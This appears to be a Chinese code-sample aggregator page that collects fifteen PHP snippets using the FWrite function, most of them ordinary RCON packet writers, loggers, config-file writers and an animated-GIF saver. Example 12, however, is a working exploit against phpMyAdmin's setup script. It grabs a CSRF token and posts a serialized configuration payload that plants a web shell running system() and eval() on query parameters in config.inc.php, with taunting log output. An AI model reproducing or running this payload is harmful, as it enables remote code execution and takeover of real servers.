本文整理汇总了PHP中FWrite函数的典型用法代码示例。如果您正苦于以下问题:PHP FWrite函数的具体用法?PHP FWrite怎么用?PHP FWrite使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了FWrite函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: WriteData
private function WriteData($Command, $String = "")
{
$Data = Pack('VV', $this->RequestId++, $Command) . $String . "";
$Data = Pack('V', StrLen($Data)) . $Data;
$Length = StrLen($Data);
return $Length === FWrite($this->Socket, $Data, $Length);
}
示例2: _log
private static function _log($data, $level, $withTimestamp)
{
$prependText = $withTimestamp ? date('j.n.Y H:i:s') . ' : ' : '';
if ($level == 'err') {
$fileNameSuffix = '-error';
// naformatovanie dat tak aby boli pekne zarovnane
$sid = str_pad(session_id(), 26, ' ');
$ip = str_pad($_SERVER['REMOTE_ADDR'], 15, ' ');
$prependText .= "SID:{$sid} , IP:{$ip} , ";
} else {
$fileNameSuffix = '';
}
if (is_array($data) || is_object($data)) {
$data = PHP_EOL . var_export($data, true);
}
if (is_bool($data)) {
$data = $data ? 'boolean true' : 'boolean false';
}
try {
$f = FOpen(LOG_DIR . date('Y-m-d') . "{$fileNameSuffix}.txt", "a");
FWrite($f, $prependText . $data . PHP_EOL);
FClose($f);
} catch (Exception $e) {
}
}
示例3: Write
public function Write($Header, $String = '')
{
// Pack the packet together
$Command = Pack('VV', ++$this->RconRequestId, $Header) . $String . "";
// Prepend packet length
$Command = Pack('V', StrLen($Command)) . $Command;
$Length = StrLen($Command);
return $Length === FWrite($this->RconSocket, $Command, $Length);
}
示例4: WriteData
private function WriteData($Command, $String = "")
{
// Pack the packet together
$Data = Pack('VV', $this->RequestId++, $Command) . $String . chr(0) . '' . chr(0);
// Prepend packet length
$Data = Pack('V', StrLen($Data)) . $Data;
$Length = StrLen($Data);
return $Length === FWrite($this->Socket, $Data, $Length);
}
示例5: generateFile
/**
* Generates random file
* @param string $location
* @param int $size in kb
*/
function generateFile($location, $size)
{
$fp = fopen($location, "wb");
$toWrite = "";
for ($y = 0; $y < 1024; $y++) {
// One kb of content
$toWrite .= chr(rand(0, 255));
}
for ($i = 0; $i < $size; $i++) {
FWrite($fp, $toWrite);
}
fclose($fp);
}
示例6: Write
public function Write($Header, $String = '')
{
switch ($this->Socket->Engine) {
case CI_SourceQuery::GOLDSOURCE:
$Command = Pack('cccca*', 0xff, 0xff, 0xff, 0xff, $String);
$Length = StrLen($Command);
return $Length === FWrite($this->Socket->Socket, $Command, $Length);
case CI_SourceQuery::SOURCE:
// Pack the packet together
$Command = Pack('VV', ++$this->RequestId, $Header) . $String . "";
// Prepend packet length
$Command = Pack('V', StrLen($Command)) . $Command;
$Length = StrLen($Command);
return $Length === FWrite($this->RconSocket, $Command, $Length);
}
}
示例7: SaveUploadedFile
function SaveUploadedFile($Table, $ID, $File)
{
#-------------------------------------------------------------------------------
$FilePaths = GetFilePath($Table, $ID);
#-------------------------------------------------------------------------------
# создаём директорию
if (!File_Exists($FilePaths['FileDir'])) {
if (!MkDir($FilePaths['FileDir'], 0700, true)) {
return new gException('CANNOT_CREATE_DIRECTORY', 'Не удалось создать директорию для сохранения файла');
}
}
#-------------------------------------------------------------------------------
# сохраняем файл
$fp = FOpen($FilePaths['FilePath'], 'w');
FWrite($fp, $File);
FClose($fp);
#-------------------------------------------------------------------------------
return TRUE;
#-------------------------------------------------------------------------------
}
示例8: BuildItemDesc
function BuildItemDesc($file)
{
print " * Loading multis config file...\n";
$cfg_file = ReadConfigFile($file);
if ($cfg_file == FALSE) {
print "Cant open {$file} ({$php_errormsg}). Blame Stephen Donald.\n";
exit;
}
print " * Purging itemdesc.cfg for new write...\n";
$handle = FOpen("itemdesc.cfg", "w");
FClose($handle);
$handle = FOpen("itemdesc.cfg", "a");
print " * Finding elem names...";
$elem_names = GetConfigStringKeys($cfg_file, CLASS_LABELS_ON);
print "(" . Count($elem_names) . ")\n";
foreach ($elem_names as $elem_name) {
if (!Preg_Match("/^House\\s+/i", $elem_name)) {
continue;
}
$multi_id = Preg_Replace("/^House\\s+/i", "", $elem_name);
$objtype = HexDec($multi_id);
$objtype += 16384;
// 0x4000
$objtype = "0x" . DecHex($objtype);
FWrite($handle, "House {$objtype}\n");
FWrite($handle, "{\n");
FWrite($handle, "\t// Main Stuff\n");
FWrite($handle, "\tName\t\tHouse{$objtype}\n");
FWrite($handle, "\tGraphic\t\t{$objtype}\n");
FWrite($handle, "\n");
FWrite($handle, "\t// Multi Info\n");
FWrite($handle, "\tMultiID\t\t{$multi_id}\n");
FWrite($handle, "}\n\n");
}
FClose($handle);
return 1;
}
示例9: WriteData
private function WriteData($Command, $Append = "")
{
$Command = Pack('c*', 0xfe, 0xfd, $Command, 0x1, 0x2, 0x3, 0x4) . $Append;
$Length = StrLen($Command);
if ($Length !== FWrite($this->Socket, $Command, $Length)) {
throw new MinecraftQueryException("Failed to write on socket.");
}
$Data = FRead($this->Socket, 2048);
if ($Data === false) {
throw new MinecraftQueryException("Failed to read from socket.");
}
if (StrLen($Data) < 5 || $Data[0] != $Command[2]) {
return false;
}
return SubStr($Data, 5);
}
示例10: FOpen
<?php
$fp = FOpen("gbook.txt", "w");
FWrite($fp, "");
FClose($fp);
echo "Soubor gbook.txt byl vyprazdnen.";
示例11: Write
public function Write($Header, $String = '')
{
$Command = Pack('ccccca*', 0xff, 0xff, 0xff, 0xff, $Header, $String);
$Length = StrLen($Command);
return $Length === FWrite($this->Socket, $Command, $Length);
}
示例12: exploit
function exploit($w00t)
{
$Handlex = FOpen("pmaPWN.log", "a+");
$useragent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) ";
//firefox
//first get cookie + token
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $w00t . "scripts/setup.php");
//URL
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 20);
curl_setopt($curl, CURLOPT_USERAGENT, $useragent);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 200);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
//return site as string
curl_setopt($curl, CURLOPT_COOKIEFILE, "exploitcookie.txt");
curl_setopt($curl, CURLOPT_COOKIEJAR, "exploitcookie.txt");
$result = curl_exec($curl);
curl_close($curl);
if (preg_match_all("/token\"\\s+value=\"([^>]+?)\"/", $result, $matches)) {
}
$token = $matches[1][1];
if ($token != '') {
print "\n[!] w00t! w00t! Got token = " . $matches[1][1];
FWrite($Handlex, "\n[!] w00t! w00t! Got token = " . $matches[1][1]);
$payload = "token=" . $token . "&action=save&configuration=a:1:{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:136:%22host%27%5d=%27%27%3b%20if(\$_GET%5b%27c%27%5d){echo%20%27%3cpre%3e%27%3bsystem(\$_GET%5b%27c%27%5d)%3becho%20%27%3c/pre%3e%27%3b}if(\$_GET%5b%27p%27%5d){echo%20%27%3cpre%3e%27%3beval(\$_GET%5b%27p%27%5d)%3becho%20%27%3c/pre%3e%27%3b}%3b//%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix";
print "\n[+] Sending evil payload mwahaha.. \n";
FWrite($Handlex, "\n[+] Sending evil payload mwahaha.. \n");
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $w00t . "scripts/setup.php");
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 20);
curl_setopt($curl, CURLOPT_TIMEOUT, 200);
curl_setopt($curl, CURLOPT_USERAGENT, $useragent);
curl_setopt($curl, CURLOPT_REFERER, $w00t);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, $payload);
curl_setopt($curl, CURLOPT_COOKIEFILE, "exploitcookie.txt");
curl_setopt($curl, CURLOPT_COOKIEJAR, "exploitcookie.txt");
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 3);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
$result = curl_exec($curl);
curl_close($curl);
print "\n[!] w00t! w00t! You should now have shell here";
print "\n[+] " . $w00t . "config/config.inc.php?c=id \n";
print "\n[!] Saved. Dont forget to check `pmaPWN.log`\n";
FWrite($Handlex, "\n[!] w00t! w00t! You should now have shell here");
FWrite($Handlex, "\n[+] " . $w00t . "config/config.inc.php?c=id \n");
} else {
print "\n[!] Shit! no luck.. not vulnerable\n";
FWrite($Handlex, "\n[!] Shit! no luck.. not vulnerable\n");
return false;
}
FClose($Handlex);
if (file_exists('exploitcookie.txt')) {
unlink('exploitcookie.txt');
}
//exit();
}
示例13: Write
function Write($message)
{
FWrite($this->serverLogHandle, $message . "\n");
}
示例14: image_gif
private function image_gif($savePath)
{
if ($this->ani_gif && is_array($this->ani_imageResized) && count($this->ani_imageResized) > 1) {
$newa = array();
foreach ($this->ani_imageResized as $i) {
ob_start();
imagegif($i);
$gifdata = ob_get_clean();
$newa[] = $gifdata;
}
if ($gifmerge = new GIFEncoder($newa, $this->ani_delays, 9999, $this->ani_disposal, $this->ani_transparent['r'], $this->ani_transparent['g'], $this->ani_transparent['b'], "bin")) {
FWrite(FOpen($savePath, "wb"), $gifmerge->GetAnimation());
} else {
imagegif($this->ani_imageResized[0], $savePath);
}
} else {
imagegif($this->imageResized, $savePath);
}
}
示例15: WriteElemToFile
function WriteElemToFile(&$elem_name, &$elem_lines)
{
$handle = FOpen("CleanedConfig.cfg", "a");
FWrite($handle, "{$elem_name}\n");
FWrite($handle, "{\n");
foreach ($elem_lines as $property => $values) {
foreach ($values as $value) {
FWrite($handle, "\t{$property}\t{$value}\n");
}
}
FWrite($handle, "}\n\n");
FClose($handle);
return 1;
}